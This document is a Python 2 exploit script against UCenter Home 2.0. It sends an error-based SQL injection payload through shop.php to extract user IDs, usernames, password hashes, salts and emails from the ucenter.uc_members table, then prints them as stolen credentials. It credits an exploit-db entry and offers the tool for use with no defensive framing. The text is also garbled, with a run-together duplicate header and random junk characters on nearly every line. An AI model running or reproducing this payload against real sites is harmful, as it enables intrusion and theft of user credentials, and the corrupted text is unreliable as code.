#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl. }1 u2 n# \; W! I, |- s
; R3 p3 u$ g* r
* @1 ?) ~3 n' K2 y/ B. F#!/usr/bin/env python
7 L) K, y7 k, l7 X2 C4 `
9 Y' b% Z# ~- ]- Qimport sys 8 e0 k4 j9 {. E* H
import urllib2
7 x+ ~, ~0 y0 iimport re ' D5 x+ g% W1 x
0 m3 S' R: P( O. P: C# rdef info(): # g# `; V. R% i9 ]
print 'From:http://www.exploit-db.com/exploits/14997/' % g3 x W: D. a. Y
print 'http://www.hake.cc/Web_loudong/' * C( y1 Z& N& I
print 'changed:qiaoy' % d) y U, u& X2 D5 K$ J" h3 `
print 'exp:' ) n6 z" l3 b( |
print ' ./UCenter_Home_2.0.py site' 1 z/ d" L) S* O( s5 m( t7 p
# l3 n; O+ J* ~3 z$ t5 r2 P
def main():
4 }) I! w, x; [" ^ if len(sys.argv) != 2: 9 r4 j; S. h |% I Y8 y8 \6 O9 ]
info() - P+ g l9 P* q9 s, @- i
else: " l: D! E. P2 Z1 |$ R
site = sys.argv[1] 5 t9 `$ o2 Q! ~! _/ ~& B0 J% T1 Z
if site[0:7] == 'http://': ; F9 p& B+ s+ ~2 n
sitesite =site 6 r5 W) b- Q+ W" t Z2 K0 R. v+ h
elif site[0:8] == 'https://':
7 J% ?! G/ Y. {# P* C: E6 Y sitesite = site
% p3 m' p) d; t8 y3 j else: 5 l: s {$ A: r5 ^8 k
site = 'http://'+site ( q, _- a: ^0 A3 m6 V+ Y4 k h
try:
# `9 d# f' n' Q. q7 W$ ` url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
) U, k3 {; Y5 [ Value = urllib2.urlopen(url).read() * a4 Q- Q" r% N# R4 ]
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
& V1 W; T& R+ r* |7 g2 C# J, b+ b4 f hacked = Msg.split(':')
C2 ^' P0 X k+ e print 'Name: '+hacked[1] . o* B/ }, D" I) n/ p Y
print 'Passwd: '+hacked[2] & D! _0 ^5 k. t! W. g! Q2 K0 l3 u4 ^6 N
print 'salt: '+hacked[3]
n$ l& W' t6 E$ m0 K# J; e print 'email: '+hacked[4] " c1 Z/ d7 Z, S' i# _
except:
* s7 K' k) l) i! ~) F& f$ X. G0 m% Q print 'Sorry,I can\'t work............'
% s9 B; g$ \: y/ I/ v3 g8 o 7 X! i% t3 @0 F% I, @9 ^" a
if __name__ == '__main__':
- D) p. K) s7 T4 i' d$ J7 N! A) E main() |